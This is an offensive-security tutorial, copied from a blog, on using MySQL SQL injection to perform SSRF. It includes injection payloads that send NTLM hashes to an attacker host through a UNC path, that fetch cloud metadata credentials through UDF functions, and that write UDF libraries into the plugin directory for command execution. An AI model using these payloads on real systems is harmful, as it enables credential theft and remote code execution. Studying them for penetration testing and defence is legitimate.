Mysql SSRF
Last updated
Last updated
Post copied from https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#mysqlmariadbpercona****
Every SQL Out of Band data exfiltration article will use the LOAD_FILE()
string function to make a network request. The function itself has its own limitations based on the operating system it is run on and the settings with which the database was started.
For example, if the secure_file_priv
global variable was not set, the default value is set to /var/lib/mysql-files/
, which means that you can only use functions like LOAD_FILE('filename')
or LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename
to read files from the /var/lib/mysql-files/
directory. To be able to perform reads on files outside this directory, the secure_file_priv
option has to be set to ""
which can only be done by updating the database configuration file or by passing the --secure_file_priv=""
as a startup parameter to the database service.
Nevertheless, under circumstances where secure_file_priv
is set to ""
, we should be able to read other files on the system, assuming file read perms and file_priv
is set to Y
in mysql.user
for current database user. However, being able to use these functions to make network calls is very operating system dependent. As these functions are built only to read files, the only network relevant calls that can be made are to UNC paths on Windows hosts as the Windows CreateFileA
api that is called when accessing a file understands UNC naming conventions.
So if your target database is running on a Windows machine the injection query x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //
would result in the Windows machine sending out NTLMv2 hashes in an attempt to authenticate with the attacker controlled \\attackerserver.example.com
.
This Server Side Request Forgery, although useful, is restricted to only TCP port 445. You cannot control the port number, but can read information from shares setup with full read privs. Also, as has been shown with older research, you can use this limited SSRF capability to steal hashes and relay them to get shells, so it’s definitely useful.
Another cool technique with MySQL databases is the ability to use User Defined Functions (UDF) present in external library files that if present in specific locations or system $PATH then can be accessed from within MySQL.
You could use a SQL Injection to write a library (.so
or .dll
depending on Linux or Windows), containing a User Defined Function that can make network/HTTP requests, that can be then invoked through additional queries.
This has its own set of restrictions though. Based on the version of MySQL, which you can identify with select @@version
, the directory where plugins can be loaded from is restricted. MySQL below v5.0.67
allowed for library files to be loaded from system path if the plugin_dir
variable was not set. This has changed now and newer versions have the plugin_dir
variable set to something like /usr/lib/mysql/plugin/
, which is usually owned by root.
Basically for you to load a custom library into MySQL and call a function from the loaded library via SQL Injection, you would need the
ability to write to the location specified in @@plugin_dir
via SQL Injection
file_priv
set to Y
in mysql.user
for the current database user
secure_file_priv
set to ""
so that you can read the raw bytes of the library from an arbitrary location like the network or a file uploads directory in a web application.
Assuming the above conditions are met, you can use the classical approach of transferring the popular MySQL UDF lib_mysqludf_sys
library to the database server. You would then be able to make operating system command requests like cURL
or powershell wget
to perform SSRF using the syntax
x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //
There are a lot of other functions declared in this library, an analysis of which can be seen here. If you are lazy like me, you can grab a copy of this UDF library, for the target OS, from a metasploit installation from the /usr/share/metasploit-framework/data/exploits/mysql/
directory and get going.
Alternatively, UDF libraries have been created to specifically provide the database the ability to make HTTP requests. You can use MySQL User-defined function (UDF) for HTTP GET/POST to get the database to make HTTP requests, using the following syntax
x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //
You could also create your own UDF and use that for post exploitation as well.
In any case, you need to transfer the library to the database server. You can do this in multiple ways
Use the MySQL hex()
string function or something like xxd -p filename.so | tr -d '\n'
to convert the contents of the library to hex format and then dumping it to the @@plugin_dir
directory using x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //
Alternatively, convert the contents of filename.so
to base64 and use x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //
If the @@plugin_dir
is not writable, then you are out of luck if the version is above v5.0.67
. Otherwise, write to a different location that is in path and load the UDF library from there using
for the lib_mysqludf_sys
library - x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //
for the mysql-udf-http
library - x';create function http_get returns string soname 'mysql-udf-http.so'; -- //
For automating this, you can use SQLMap which supports the usage of custom UDF via the --udf-inject
option.
For Blind SQL Injections you could redirect output of the UDF functions to a temporay table and then read the data from there or use DNS request smuggled inside a sys_eval
or sys_exec
curl command.